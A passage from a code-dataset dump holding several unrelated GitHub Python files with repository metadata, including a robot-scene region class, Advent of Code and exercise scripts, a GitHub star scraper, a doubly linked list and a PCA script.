check_connected(self):\n \"\"\"Check if the region is mono connected\"\"\"\n assert self.region_map is not None\n # function to perform BFS\n\n def bfs(grid, i, j, visited):\n n_rows, n_cols = grid.shape\n queue = deque([(i, j)])\n visited[i, j] = True\n while queue:\n i, j = queue.popleft()\n if i > 0 and grid[i - 1, j] and not visited[i - 1, j]:\n queue.append((i - 1, j))\n visited[i - 1, j] = True\n if i < n_rows - 1 and grid[i + 1, j] and not visited[i + 1, j]:\n queue.append((i + 1, j))\n visited[i + 1, j] = True\n if j > 0 and grid[i, j - 1] and not visited[i, j - 1]:\n queue.append((i, j - 1))\n visited[i, j - 1] = True\n if j < n_cols - 1 and grid[i, j + 1] and not visited[i, j + 1]:\n queue.append((i, j + 1))\n visited[i, j + 1] = True\n\n # check if the grid is connected\n n_rows, n_cols = self.region_map.shape\n visited = np.zeros((n_rows, n_cols), dtype=bool)\n visited[self.region_map == 0] = True # All free occupany are visited\n for i in range(n_rows):\n for j in range(n_cols):\n if self.region_map[i, j] and not visited[i, j]:\n bfs(self.region_map, i, j, visited)\n if not visited.all():\n print(\"The region map is not connected.\")\n self.connected = False\n return self.connected\n\n print(\"The region map is connected.\")\n self.connected = True\n return self.connected\n\n\nclass Region2D(Region):\n \"\"\"2.5D region in physical space\"\"\"\n\n def __init__(\n self,\n resolution: float,\n grid_size: Union[List[int], None] = None,\n world2region: np.ndarray = np.eye(4, dtype=np.float32),\n name: str = \"region\",\n **kwargs,\n ):\n super().__init__(\n resolution=resolution,\n grid_size=grid_size,\n world2region=world2region,\n name=name,\n **kwargs,\n )\n\n def __contains__(self, item):\n if isinstance(item, np.ndarray) or isinstance(item, List) or isinstance(item, str):\n if isinstance(item, List):\n pos = np.array(item)\n elif isinstance(item, str):\n try:\n pos = np.array(\n [\n float(item.split(\",\")[0]),\n float(item.split(\",\")[1]),\n float(item.split(\",\")[2]),\n ]\n )\n except ValueError as exc:\n raise ValueError(\"The input string should be in the format of x,y,z.\") from exc\n else:\n pos = item\n if pos.shape[0] >= 3:\n pos = pos[:3]\n # check if the point is inside the region\n point_region = self.world2region @ np.append(pos, 1)\n point_region_grid = [\n int(point_region[0] / self.resolution),\n int(point_region[1] / self.resolution),\n ]\n if point_region_grid[0] < 0 or point_region_grid[0] >= self.grid_size[0]:\n return False\n if point_region_grid[1] < 0 or point_region_grid[1] >= self.grid_size[1]:\n return False\n if self.region_map[point_region_grid[0], point_region_grid[1]] == 1:\n return True\n else:\n return False\n else:\n raise NotImplementedError\n else:\n raise NotImplementedError\n\n def iou(self, other: \"Region\") -> float:\n \"\"\"Compute the intersection over union between two regions\"\"\"\n return 0.0\n\n def visualize(self, **kwargs):\n \"\"\"Visualize the region\"\"\"\n title = kwargs.get(\"title\", self.name)\n # check\n # image_vis = draw_occupancy_map(self.region_map, vis_scale=5)\n image_vis = draw_color_map(self.color_map, vis_scale=5)\n cv2.imshow(title, image_vis)\n cv2.waitKey(0)\n # close the window\n cv2.destroyAllWindows()\n\n def grid_points_3d(self, **kwargs):\n \"\"\"Get the 3d grid points in the region\"\"\"\n # get the grid points\n idx = np.indices(self.grid_size)\n region_map_3d = np.broadcast_to(self.region_map[..., np.newaxis], self.grid_size)\n\n mask = region_map_3d == 1\n grid_points = np.column_stack((idx[0][mask], idx[1][mask], idx[2][mask]))\n\n # transform to 3d\n grid_points = grid_points * self.resolution\n grid_points = np.concatenate([grid_points, np.ones((grid_points.shape[0], 1))], axis=1)\n grid_points = np.matmul(grid_points, np.linalg.inv(self.world2region).T)\n\n return grid_points[:, :3]\n\n def bbox(self, **kwargs):\n \"\"\"Get the o3d bounding box of the region\"\"\"\n color = kwargs.get(\"color\", (0.0, 1.0, 0.0))\n grid_points = self.grid_points_3d()\n bbox = o3d.geometry.AxisAlignedBoundingBox.create_from_points(\n o3d.utility.Vector3dVector(grid_points)\n )\n bbox.color = color\n return bbox\n\n # create interface\n def create(self, method: str, **kwargs):\n \"\"\"Create region from different methods\"\"\"\n if method == \"image\":\n self.create_from_image(**kwargs)\n elif method == \"param\":\n self.create_from_param(**kwargs)\n else:\n raise NotImplementedError\n\n def create_from_param(\n self, width: int, height: int, cam2world: np.ndarray, intrinsic: np.ndarray, **kwargs\n ):\n \"\"\"Create region from camera parameters\"\"\"\n # start building the region\n depth_est = cam2world[2, 3]\n fx = intrinsic[0, 0]\n fy = intrinsic[1, 1]\n cx = intrinsic[0, 2]\n cy = intrinsic[1, 2]\n\n # update grid size\n region_width = width / fx * depth_est\n region_height = height / fy * depth_est\n if self.grid_size is None:\n self.grid_size = [\n int(region_width / self.resolution),\n int(region_height / self.resolution),\n 100,\n ]\n else:\n self.grid_size = [\n int(region_width / self.resolution),\n int(region_height / self.resolution),\n self.grid_size[2],\n ]\n # make sure the grid size is even\n if self.grid_size[0] % 2 != 0:\n self.grid_size[0] += 1\n if self.grid_size[1] % 2 != 0:\n self.grid_size[1] += 1\n\n # update tf_world2region\n region_origin = np.array(\n [(0 - cx) / fx * depth_est, (height - cy) / fy * depth_est, depth_est]\n )\n region_x_axis = np.array([1.0, 0.0, 0.0])\n region_y_axis = np.array([0.0, -1.0, 0.0])\n region_z_axis = np.array([0.0, 0.0, -1.0])\n region2camera = np.eye(4, dtype=np.float32)\n region2camera[:3, 0] = region_x_axis\n region2camera[:3, 1] = region_y_axis\n region2camera[:3, 2] = region_z_axis\n region2camera[:3, 3] = region_origin\n self.world2region = np.linalg.inv(cam2world @ region2camera)\n\n # capture the color\n x_grid = np.array(range(self.grid_size[0] + 1)) * self.resolution\n y_grid = np.array(range(self.grid_size[1] + 1)) * self.resolution\n grid_points_rgn = np.zeros((self.grid_size[0] + 1, self.grid_size[1] + 1, 4))\n grid_points_rgn[:, :, 0] = x_grid.reshape(-1, 1)\n grid_points_rgn[:, :, 1] = y_grid.reshape(1, -1)\n grid_points_rgn[:, :, 2] = 0\n grid_points_rgn[:, :, 3] = 1.0\n grid_points_rgn = grid_points_rgn.reshape(-1, 4)\n grid_points_cam = region2camera @ grid_points_rgn.T\n # map grid to image space\n grid_points_img = np.zeros((grid_points_cam.shape[1], 3))\n grid_points_img[:, 0] = grid_points_cam[0, :] / grid_points_cam[2, :] * fx + cx\n grid_points_img[:, 1] = grid_points_cam[1, :] / grid_points_cam[2, :] * fy + cy\n grid_points_img[:, 2] = grid_points_cam[2, :]\n # get the color\n self.color_map = np.zeros((self.grid_size[0], self.grid_size[1], 3))\n image = kwargs.get(\"image\", np.ones((height, width, 3)) * 255.0)\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n for i in range(self.grid_size[0]):\n for j in range(self.grid_size[1]):\n x, y = grid_points_img[i * (self.grid_size[1] + 1) + j, :2]\n x = int(x)\n y = int(y)\n if x < 0 or x >= width or y < 0 or y >= height:\n continue\n self.color_map[i, j, :] = image[y, x, :] / 255.0\n\n # update occupancy\n self.region_map = np.zeros((self.grid_size[0], self.grid_size[1]))\n resolution_pixel_x = float(width) / float(self.grid_size[0])\n resolution_pixel_y = float(height) / float(self.grid_size[1])\n # convert the coordinates of the marked rectangles to occupancy values\n rectangles = kwargs.get(\"rectangles\", None)\n if rectangles is not None:\n for rect in rectangles:\n x1, y1, x2, y2 = rect\n y1 = height - y1\n y2 = height - y2\n self.region_map[\n int(x1 / resolution_pixel_x): int(x2 / resolution_pixel_x),\n int(y2 / resolution_pixel_y): int(y1 / resolution_pixel_y),\n ] = 1\n # update\n # find min/max x and y values of occupied cells\n occupied_indices = np.where(self.region_map == 1)\n min_x = np.min(occupied_indices[0])\n max_x = np.max(occupied_indices[0])\n min_y = np.min(occupied_indices[1])\n max_y = np.max(occupied_indices[1])\n self.crop_to(bbox=(min_x, max_x, min_y, max_y))\n else:\n self.region_map = np.ones((self.grid_size[0], self.grid_size[1]))\n\n enable_vis = kwargs.get(\"enable_vis\", False)\n if enable_vis:\n self.visualize()\n\n def create_from_image(\n self,\n color_image: np.ndarray,\n cam2world: np.ndarray,\n intrinsic: np.ndarray,\n top_down: bool = True,\n depth_image: Union[np.ndarray, None] = None,\n require_draw: bool = False,\n **kwargs,\n ):\n \"\"\"Create region from camera image\"\"\"\n if not top_down:\n raise NotImplementedError\n\n # copy the image\n img_vis = np.copy(color_image)\n img_vis = cv2.cvtColor(img_vis, cv2.COLOR_RGB2BGR)\n # bind callback function\n if require_draw:\n # create window\n cv2.namedWindow(self.name)\n cv2.imshow(self.name, img_vis)\n cv2.waitKey(1)\n if cv2.getWindowProperty(self.name, cv2.WND_PROP_VISIBLE) < 1:\n raise ValueError(\"Window is not created\")\n\n rectangles = []\n cv2.setMouseCallback(\n self.name,\n lambda event, x, y, flags, params: draw_rectangle(\n event, x, y, flags, params, img=img_vis, rectangles=rectangles\n ),\n )\n # Wait for the user to mark occupancy\n while True:\n cv2.imshow(self.name, img_vis)\n key = cv2.waitKey(1) & 0xFF\n # If the 'Enter' key is pressed, exit the loop\n if key == 13:\n break\n # close the window\n cv2.destroyAllWindows()\n else:\n rectangles = [[0, 0, img_vis.shape[1], img_vis.shape[0]]]\n # build region_pcd\n if depth_image is not None:\n depth_scale = kwargs.get(\"depth_scale\", 1.0)\n depth_trunc = kwargs.get(\"depth_trunc\", 1.0)\n # create pcd from rgbd using o3d\n color = o3d.geometry.Image(color_image)\n depth = o3d.geometry.Image(depth_image)\n # create Open3D RGBD image from color and depth images\n rgbd_image = o3d.geometry.RGBDImage.create_from_color_and_depth(\n color,\n depth,\n depth_scale=depth_scale,\n depth_trunc=depth_trunc,\n convert_rgb_to_intensity=False,\n )\n # create Open3D point cloud from RGBD image\n intrinsics = o3d.camera.PinholeCameraIntrinsic(\n width=color_image.shape[1],\n height=color_image.shape[0],\n fx=intrinsic[0, 0],\n fy=intrinsic[1, 1],\n cx=intrinsic[0, 2],\n cy=intrinsic[1, 2],\n )\n self.region_pcd = o3d.geometry.PointCloud.create_from_rgbd_image(rgbd_image, intrinsics)\n # transform to world frame\n self.region_pcd.transform(cam2world)\n\n print(\"debug\", cam2world)\n # start building the region\n self.create_from_param(\n width=img_vis.shape[1],\n height=img_vis.shape[0],\n cam2world=cam2world,\n intrinsic=intrinsic,\n rectangles=rectangles,\n image=color_image,\n **kwargs,\n )\n\n def crop_to(self, bbox: Tuple[int]):\n \"\"\"Adapt the size of region\"\"\"\n min_x, max_x, min_y, max_y = bbox\n if max_x < min_x:\n max_x = min_x - 1\n if max_y < min_y:\n max_y = min_y - 1\n # update size\n self.grid_size = (max_x - min_x + 1, max_y - min_y + 1, self.grid_size[2])\n self.region_map = self.region_map[min_x: max_x + 1, min_y: max_y + 1]\n self.color_map = self.color_map[min_x: max_x + 1, min_y: max_y + 1]\n self.world2region[:3, 3] -= np.array(\n [min_x * self.resolution, min_y * self.resolution, 0.0]\n )\n return min_x, max_x, min_y, max_y\n\n def sub_region(self, direction: Direction, origin: Union[np.ndarray, None] = None) -> \"QRegion\":\n \"\"\"sub-region corresponding to pre-defined action\"\"\"\n if origin is None and direction is None:\n return self\n assert self.connected, \"Region is not connected\"\n if origin is None:\n origin = np.array(\n [self.grid_size[0] / 2.0, self.grid_size[1] / 2.0, 0], dtype=np.float32\n )\n if direction == Direction.CTR:\n min_x = max(0, int(origin[0] - self.grid_size[0] * 0.25))\n max_x = min(self.grid_size[0] - 1, int(origin[0] + self.grid_size[0] * 0.25))\n min_y = max(0, int(origin[1] - self.grid_size[1] * 0.25))\n max_y = min(self.grid_size[1] - 1, int(origin[1] + self.grid_size[1] * 0.25))\n region_copy = copy.deepcopy(self)\n region_copy.name = f\"{self.name}-CTR\"\n region_copy.crop_to(bbox=(min_x, max_x, min_y, max_y))\n return region_copy\n elif direction == Direction.TOP:\n min_x = 0\n max_x = self.grid_size[0] - 1\n min_y = int(origin[1])\n max_y = self.grid_size[1] - 1\n region_copy = copy.deepcopy(self)\n region_copy.name = f\"{self.name}-TOP\"\n region_copy.crop_to(bbox=(min_x, max_x, min_y, max_y))\n return region_copy\n elif direction == Direction.BOT:\n min_x = 0\n max_x = self.grid_size[0] - 1\n min_y = 0\n max_y = int(origin[1])\n region_copy = copy.deepcopy(self)\n region_copy.name = f\"{self.name}-BOT\"\n region_copy.crop_to(bbox=(min_x, max_x, min_y, max_y))\n return region_copy\n elif direction == Direction.LFT:\n min_x = 0\n max_x = int(origin[0])\n min_y = 0\n max_y = self.grid_size[1] - 1\n region_copy = copy.deepcopy(self)\n region_copy.name = f\"{self.name}-LFT\"\n region_copy.crop_to(bbox=(min_x, max_x, min_y, max_y))\n return region_copy\n elif direction == Direction.RIT:\n min_x = int(origin[0])\n max_x = self.grid_size[0] - 1\n min_y = 0\n max_y = self.grid_size[1] - 1\n region_copy = copy.deepcopy(self)\n region_copy.name = f\"{self.name}-RIT\"\n region_copy.crop_to(bbox=(min_x, max_x, min_y, max_y))\n return region_copy\n elif direction == Direction.TOPLFT:\n min_x = 0\n max_x = int(origin[0])\n min_y = int(origin[1])\n max_y = self.grid_size[1] - 1\n region_copy = copy.deepcopy(self)\n region_copy.name = f\"{self.name}-TOPLFT\"\n region_copy.crop_to(bbox=(min_x, max_x, min_y, max_y))\n return region_copy\n elif direction == Direction.TOPRIT:\n min_x = int(origin[0])\n max_x = self.grid_size[0] - 1\n min_y = int(origin[1])\n max_y = self.grid_size[1] - 1\n region_copy = copy.deepcopy(self)\n region_copy.name = f\"{self.name}-TOPRIT\"\n region_copy.crop_to(bbox=(min_x, max_x, min_y, max_y))\n return region_copy\n elif direction == Direction.BOTLFT:\n min_x = 0\n max_x = int(origin[0])\n min_y = 0\n max_y = int(origin[1])\n region_copy = copy.deepcopy(self)\n region_copy.name = f\"{self.name}-BOTLFT\"\n region_copy.crop_to(bbox=(min_x, max_x, min_y, max_y))\n return region_copy\n elif direction == Direction.BOTRIT:\n min_x = int(origin[0])\n max_x = self.grid_size[0] - 1\n min_y = 0\n max_y = int(origin[1])\n region_copy = copy.deepcopy(self)\n region_copy.name = f\"{self.name}-BOTRIT\"\n region_copy.crop_to(bbox=(min_x, max_x, min_y, max_y))\n return region_copy\n else:\n raise ValueError(\"direction not support.\")\n\n\nif __name__ == \"__main__\":\n import os\n import open3d as o3d\n\n project_dir = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n scene_name = \"scene0011_00\"\n # Test region\n test_img_file = os.path.join(project_dir, \"data/notion\", f\"{scene_name}.png\")\n region = Region2D(grid_size=None, resolution=0.1, name=\"living room\")\n test_image = cv2.imread(test_img_file)\n camera_info = np.load(test_img_file.replace(\"png\", \"npz\"))\n region.create_from_param(\n width=test_image.shape[1],\n height=test_image.shape[0],\n cam2world=camera_info[\"extrinsic\"],\n intrinsic=camera_info[\"intrinsic\"],\n )\n o3d.visualization.draw_geometries([region.bbox(color=(0, 0, 1))])\n","repo_name":"changhaonan/OVSG","sub_path":"ovsg/env/algo/region.py","file_name":"region.py","file_ext":"py","file_size_in_byte":24037,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"14151943919","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 12 15:43:17 2022\n\n@author: friso\n\"\"\"\n\n# open the data file\n#file = open(\"03rugzaktest.txt\")\nfile = open(\"03rugzak.txt\")\n# read the file as a list and make it a numpy array\ndata0 = file.readlines()\n#preprocessing to remove newline \\n from datastrings\ndata = [line[:-1] if line[-1:]=='\\n' else line for line in data0]\n\ncommon = []\nfor i in range(len(data)//3):\n first = set(data[3*i])\n second = set(data[3*i+1])\n third = set(data[3*i+2])\n common.append(first & second & third)\n\n#print(common)\n\npriority = []\nfor line in common:\n count = 0\n for i in line:\n if ord(i)>95:\n #lowercase\n count += ord(i)-ord('a')+1\n else:\n #Uppercase\n count += ord(i)-ord('A')+27\n priority.append(count)\n \nprint(sum(priority))\n\n\n\n","repo_name":"FrisoDB/AdventOfCode2022","sub_path":"Day03/03rugzak2.py","file_name":"03rugzak2.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71621821683","text":"# -*- coding: utf-8 -*-\nfrom htmlentitydefs import name2codepoint\nfrom re import sub\nfrom unicodedata import normalize, combining\n\n\ndef remove_accents(input_str):\n nkfd_form = normalize('NFKD', unicode(input_str))\n return u\"\".join([c for c in nkfd_form if not combining(c)])\n\n\ndef unescape(text):\n '''Removes HTML or XML character references and entities from a text string.\n @param text The HTML (or XML) source text.\n @return The plain text, as a Unicode string, if necessary.\n Author: Fredrik Lundh\n Source: http://effbot.org/zone/re-sub.htm#unescape-html\n '''\n def fixup(m):\n text = m.group(0)\n if text[:2] == \"&#\":\n # character reference\n try:\n if text[:3] == \"&#x\":\n return unichr(int(text[3:-1], 16))\n else:\n return unichr(int(text[2:-1]))\n except ValueError:\n pass\n else:\n # named entity\n try:\n text = unichr(name2codepoint[text[1:-1]])\n except KeyError:\n pass\n return text # leave as is\n return sub(\"&#?\\w+;\", fixup, text)\n\n\ndef prepare_string_for_javascript(string):\n new_string = string.replace('\\n', '')\n new_string = new_string.replace('\\r', '')\n new_string = new_string.replace('\\\\', '\\\\\\\\')\n new_string = unescape(new_string)\n return new_string\n\n\ndef rgb_to_html_color(rgb_tuple):\n \"\"\"convert an (R, G, B) tuple to #RRGGBB\n Source: http://code.activestate.com/recipes/266466/\n \"\"\"\n hexcolor = '#%02x%02x%02x' % rgb_tuple\n # that's it! '%02x' means zero-padded, 2-digit hex values\n return hexcolor\n\n\ndef get_feeling_color(feeling, feelings_list):\n index = [x[0] for x in feelings_list].index(feeling)\n rgb_string = feelings_list[index][1]\n rgb_tuple = (int(rgb_string.split(',')[0]), \\\n int(rgb_string.split(',')[1]), \\\n int(rgb_string.split(',')[2]))\n return rgb_to_html_color(rgb_tuple)\n","repo_name":"arturhoo/Como-nos-Sentimos","sub_path":"website/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"40924386882","text":"\"\"\"Functions related to retrieving data from github repo\"\"\"\n\nfrom bs4 import BeautifulSoup\nimport requests\n\n\ndef get_github_page(pypi_pkg):\n \"\"\"Retrieve github page URL if available\"\"\"\n\n github_page = \"\"\n # Check potential fields for a github link\n potential_github_fields = [pypi_pkg[\"pypi_data\"][\"info\"][\"home_page\"]]\n # Add project url fields\n for _, url in pypi_pkg[\"pypi_data\"][\"info\"][\"project_urls\"].items():\n potential_github_fields.append(url)\n for field in potential_github_fields:\n # Any field with github in it must be github link\n if \"github\" in field:\n github_page = field\n break\n\n return github_page\n\n\ndef get_github_data(github_page_data):\n \"\"\"Retrieve github data, if link exists, from API or website\"\"\"\n\n github_data = None\n github_data_source = \"API\"\n\n if github_page_data[\"github_page\"]:\n\n # Try github API. There is rate limiting, including only six\n # hits without being signed in to github, so rate limiting\n # will likely apply.\n repo_info = github_page_data[\"github_page\"].split(\"/\")[-2:]\n url_end = \"/\".join(repo_info)\n github_url = \"https://api.github.com/repos/\" + url_end\n response = requests.get(github_url)\n metadata_dict = response.json()\n github_data = metadata_dict\n\n # If github API rate limit exceeded. Try scraping github page\n if not response.ok:\n github_data_source = \"webscrape\"\n html = requests.get(github_page_data[\"github_page\"])\n try:\n soup = BeautifulSoup(html.content, \"html.parser\")\n github_data = soup\n except TypeError:\n github_data = None\n\n return github_data, github_data_source\n\n\ndef get_github_stars(github_page_data):\n \"\"\"Retrieve number of github stars from github data\"\"\"\n\n num_stars = \"No github found\"\n\n if github_page_data[\"github_page\"]:\n # If data on github comes form github API, parse json\n if github_page_data[\"github_data_source\"] == \"API\":\n num_stars = github_page_data[\"github_data\"][\"stargazers_count\"]\n # If data on github comes from web scraping, parse beautiful soup object\n elif github_page_data[\"github_data_source\"] == \"webscrape\":\n try:\n num_stars_element = github_page_data[\"github_data\"].find(\n \"a\", {\"class\": \"social-count js-social-count\"}\n )\n num_stars = num_stars_element.contents[0].strip()\n except AttributeError:\n num_stars = \"Error\"\n\n return num_stars\n","repo_name":"jspeed-meyers/pkgscan","sub_path":"github_data.py","file_name":"github_data.py","file_ext":"py","file_size_in_byte":2637,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"21731939052","text":"class Node(object):\n def __init__(self, data, Next=None, Previous=None):\n self.data = data\n self.next = Next\n self.previous = Previous\n\n def getNext(self):\n return self.next\n\n def getPrevious(self):\n return self.previous\n\n def getData(self):\n return self.data\n\n def setData(self, newData):\n self.data = newData\n\n def setNext(self, newNext):\n self.next = newNext\n\n def setPrevious(self, newPrevious):\n self.previous = newPrevious\n\n\nclass DoublyLinkedList(object):\n def __init__(self):\n self.head = None\n self.tail = None\n\n def pushFront(self, data):\n newNode = Node(data)\n if self.head == self.tail is None:\n self.head = self.tail = newNode\n else:\n newNode.setNext(self.head)\n self.head = newNode\n\n def topFront(self):\n if self.head is None:\n raise Exception(\"Empty list\")\n else:\n return self.head.getData()\n\n def popFront(self):\n curr = 0\n if self.head is None:\n raise Exception(\"Empty list\")\n else:\n curr = self.head\n self.head = self.head.getNext()\n return curr.getData()\n\n def pushBack(self, data):\n newNode = Node(data)\n if self.head == self.tail is None:\n self.head = self.tail = newNode\n else:\n self.tail.setNext(newNode)\n newNode.setPrevious(self.tail)\n self.tail = newNode\n\n def topBack(self):\n if self.tail is None:\n raise Exception(\"Empty list\")\n else:\n return self.tail.getData()\n\n def popBack(self):\n curr = 0\n if self.head is None:\n raise Exception(\"Empty list\")\n else:\n curr = self.tail\n self.tail.getPrevious().setNext(None)\n self.tail = self.tail.getPrevious()\n return curr.getData()\n\n def find(self, data):\n currNode = self.head\n currPos = 0\n while True:\n if currNode is None:\n return False\n break\n elif currNode.getData() == data:\n return True\n break\n else:\n currNode = currNode.getNext()\n currPos += 1\n\n def erase(self, data):\n currNode = self.head\n currPos = 0\n if self.head == self.tail is None:\n raise Exception(\"Empty list\")\n elif self.head.getData() == data:\n self.popFront()\n else:\n while True:\n if currNode is None:\n raise Exception(\"No such data\")\n break\n elif currNode.getData() == data:\n prevNode = currNode.getPrevious()\n if self.tail == currNode:\n self.tail = prevNode\n prevNode.setNext(None)\n else:\n nextNode = currNode.getNext()\n prevNode.setNext(nextNode)\n nextNode.setPrevious(prevNode)\n break\n else:\n currNode = currNode.getNext()\n currPos += 1\n\n def empty(self):\n return self.head == self.tail is None\n\n def insert(self, pos, data):\n currNode = self.head\n currPos = 0\n while currPos < pos - 1:\n if currNode is None or currNode.getNext().getNext() is None:\n raise Exception(\"No such index\")\n currNode = currNode.getNext()\n currPos += 1\n\n else:\n newNode = Node(data)\n nextNode = currNode.getNext()\n currNode.setNext(newNode)\n newNode.setNext(nextNode)\n\n def size(self):\n currNode = self.head\n currPos = 0\n while currNode:\n currNode = currNode.next\n currPos += 1\n return currPos\n\n def __str__(self):\n curr = self.head\n res = \"\"\n while curr:\n res += \" \" + str(curr.getData())\n curr = curr.getNext()\n return res\n","repo_name":"davilav/DataStructures","sub_path":"stuctures/DoublyLinkedList.py","file_name":"DoublyLinkedList.py","file_ext":"py","file_size_in_byte":4156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24268173274","text":"def isValid(s):\n stack = []\n table = {\n ')':'(',\n '}':'{',\n ']':'[',\n }\n\n # 입력받은 문자열을 하나씩 char에 넣음\n for char in s:\n print(stack)\n # 아래 코드는 table, 즉 딕셔너리 키에 char가 없다면 char를 stack에 추가함\n # 즉, table에 없는 char는 ), }, ] 이므로, 실질적으로 추가 되는 것들은 값에 해당하는 (, {, [ 세가지이다\n if char not in table:\n stack.append(char)\n print('1')\n\n # 또한 ), }, ] 가 들어왔을 떄 그에 해당하는 값((, {, [)가 스택에 없다면 그것은 거짓인 문자열이므로 False 리턴\n # + stack이 비어있는 경우에도 False리턴이다(끝났단 소리니까)\n # 또 stack.pop()가 있으므로 pop을 하긴하는데 문제가 없으면 넘어가므로, for문은 문제없이 사이클을 돌게 된다\n elif not stack or table[char] != stack.pop():\n print('elif stack: ', stack)\n print('2')\n return False\n print('end')\n return len(stack) == 0\n\n# print(isValid('[({()]'))\nprint(isValid('[{()}]'))","repo_name":"Ratatou2/Algorithm_Interview","sub_path":"20. 유효한 괄호(original.ver).py","file_name":"20. 유효한 괄호(original.ver).py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10814334489","text":"#Ejercicio 2.10: Ejecución desde la línea de comandos con parámetros\r\nimport csv\r\nimport sys\r\n\r\ndef costo_camion(nombre_archivo):\r\n costo = 0\r\n try:\r\n with open(nombre_archivo, 'rt') as f: \r\n lineas = csv.reader(f)\r\n \r\n next(lineas)\r\n for i, linea in enumerate(lineas):\r\n try:\r\n costo += (int(linea[1]) * float(linea[2]))\r\n except ValueError:\r\n # muestro la línea i+2, ya que la primera corresponde al encabezado\r\n # de esta forma puedo saber que línea del archivo está el error.\r\n print(f'Ocurrió un error al leer la línea {i+2} del archivo')\r\n return costo\r\n except:\r\n print(\"Ocurrió un error al leer el archivo, verifique que exista.\")\r\n return -1\r\n\r\n\r\n#### Programa Principal ####\r\nnombre_archivo = '../Data/camion.csv'\r\n\r\nif len(sys.argv) == 2:\r\n nombre_archivo = sys.argv[1]\r\n\r\ncosto = costo_camion(nombre_archivo)\r\nif costo != -1:\r\n print('Costo total:', costo) \r\n\r\n#camion.csv: Costo total: 47671.15\r\n#missing.csv: Ocurrió un error al leer la línea 5 del archivo\r\n# Ocurrió un error al leer la línea 8 del archivo\r\n# Costo total: 30381.15\r\n","repo_name":"mvillalva/python.unsam","sub_path":"ejercicios/Clase02/camion_commandline.py","file_name":"camion_commandline.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"es","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"7248898351","text":"# Write your solution here\n\nwhile True:\n editor = input(\"Editor: \")\n\n if editor.lower() == \"notepad\" or editor.lower() == \"word\":\n print(\"awful\")\n elif editor.lower() == \"visual studio code\":\n print(\"an excellent choice!\")\n break\n else:\n print(\"not good\")","repo_name":"P4r1nc3/Python_Programming_MOOC_2023_I","sub_path":"part04/part04-01_hello_visual_studio_code/src/hello_visual_studio_code.py","file_name":"hello_visual_studio_code.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"75"} +{"seq_id":"11646472536","text":"#!/usr/bin/env python\n\n#created on: December 23,2019\n#author : jiaolu\n#e-mail : 2324747695@qq.com\n\nimport sys,math,time\nsys.path.append(\"../\")\nimport rospy\nfrom std_msgs.msg import Float64\n\nclass LegController(object):\n def __init__(self,name):\n self.name = name\n self.joint_name = [\"hip\",\"thigh\",\"calf\"]\n self.pos_puber = [self._instancePuber(index) for index in range(3)]\n pass\n\n def _instancePuber(self,index):\n topic = \"/cheetah/\"+self.name+\"_joint\"+str(index+1)+\"_effort_controller/command\"\n pub = rospy.Publisher(topic,Float64,queue_size=5)\n return pub\n\n def writeJointTorqueSingle(self,index,torque):\n msg = Float64(torque)\n self.pos_puber[index].publish(msg)\n\n def writeJointTorqueToTal(self,Torque):\n for i in range(3):\n self.writeJointTorqueSingle(i,Torque[i])\n \n\nif __name__==\"__main__\":\n time.sleep(0.1)\n print(\"Hello\")\n","repo_name":"JiaoLu-JNU/Jungo2_sim","sub_path":"src/cheetah_sim/ros_package/jungo2_core/src/leg_control/jungo2_legController.py","file_name":"jungo2_legController.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35222455755","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Nov 21 19:16:08 2020\n\n@author: Shivang\n\"\"\"\n\n# Feature Extraction with PCA\nimport numpy as np\nimport pandas as pd\nfrom pandas import read_csv\nfrom sklearn.decomposition import PCA\n\nfor i in range(1,43):\n fname='C:/Users/Shivang/Desktop/Twitter airline/'+str(i)+'.csv'\n dataframe=np.genfromtxt(fname,delimiter=',')\n X = dataframe[:,0:-1]\n Y = dataframe[:,-1]\n Y_data=pd.DataFrame(data=Y)\n # feature extraction\n pca = PCA(n_components=100)\n dfpc=pca.fit_transform(X)\n df = pd.DataFrame(data = dfpc)\n df_final=pd.concat([df,Y_data],axis=1)\n fname='C:/Users/Shivang/Desktop/Twitter airline/'+str(126+i)+'.csv'\n np.savetxt(fname,df_final, delimiter=',', fmt='%f')\n ","repo_name":"shivlock27/Word-Embedding-in-Text-Classification","sub_path":"FeatureSelectionTechniques/PCA.py","file_name":"PCA.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38927347104","text":"\"\"\"\r\nchallenger: dukpanahavad\r\npurpos: print splited word first character\r\n\"\"\"\r\nres = \"\"\r\n#promt for user input\r\ninputed_info = input(\"Enter something: \")\r\nfor word in inputed_info.split(\" \"):\r\n\tres = res + word[0].upper()\r\nprint(res)","repo_name":"panhavad/python-bootcamp-2020","sub_path":"answer/dukpanhavad/challenges/week01/c15_acronym.py","file_name":"c15_acronym.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5716136278","text":"import aiotask_context\n\nfrom insanic.conf import settings\nfrom insanic.models import AnonymousUser\n\n\ndef context_user() -> dict:\n \"\"\"\n Retrieves the user from the asyncio task.\n\n :return:\n \"\"\"\n default = dict(AnonymousUser)\n try:\n user = 